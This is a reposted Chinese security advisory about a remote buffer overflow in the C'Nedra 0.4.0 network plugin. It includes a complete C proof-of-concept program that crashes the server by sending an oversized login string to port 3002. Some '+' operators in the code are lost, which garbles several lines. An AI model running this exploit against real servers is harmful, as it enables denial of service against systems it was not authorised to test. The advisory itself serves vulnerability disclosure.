C

2008-04-09 04:24:37来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

C'Nedra网络插件Read_TCP_String远程溢出漏洞

发布日期:2005-05-27
更新日期:2005-05-27

受影响系统:
C'Nedra C'Nedra <= 0.4.0
描述:
BUGTRAQ ID: 13781

C'Nedra是开放源码的虚拟现实框架,用于创建各种世界和应用。

C'Nedra网络插件在game_message_functions.cpp的READ_TCP_STRING()函数中存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在主机上执行恶意指令。

game_message_functions.cpp函数用于读取从网络接收到的文本字符串。首先它读取32位数字,说明文本字符串的大小,然后将其拷贝到仅有100个字节大小的本地缓冲区,这就可能允许攻击者执行恶意代码。

<*来源:Luigi Auriemma (aluigi@pivx.com)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111713300212601&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif



#define VER "0.1"
#define PORT 3002
#define BUFFSZ 8192
#define MSG_LOGIN 120
#define BOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"



u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ];
struct {
u_short msg_type;
u_short msg_size;
int msg_client;
u_int msg_frame;
u_short msg_param;
} mh;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


setbuf(stdout, NULL);

fputs("\n"
"C'Nedra <= 0.4.0 buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]\n"
"\n", argv[0], port);
exit(1);
}

if(argc > 2) port = atoi(argv[2]);

peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();

if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

*(u_int *)buff = htonl(sizeof(BOF) - 1);
memcpy(buff 4, BOF, sizeof(BOF) - 1);
len = 4 (sizeof(BOF) - 1);

mh.msg_type = htons(MSG_LOGIN);
mh.msg_size = htons(len);
mh.msg_client = htonl(0);
mh.msg_frame = htonl(0);
mh.msg_param = htons(0);

send(sd, (void *)&mh, sizeof(mh), 0); // username
send(sd, buff, len, 0);

close(sd);
fputs("- check the server manually to see if it is crashed\n", stdout);
return(0);
}



u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}



#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

建议:
厂商补丁:

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:QMail Commands()函数远程整数溢出漏洞

下一篇:Microsoft Windows媒体播放器数字权限管理加载任意网页漏洞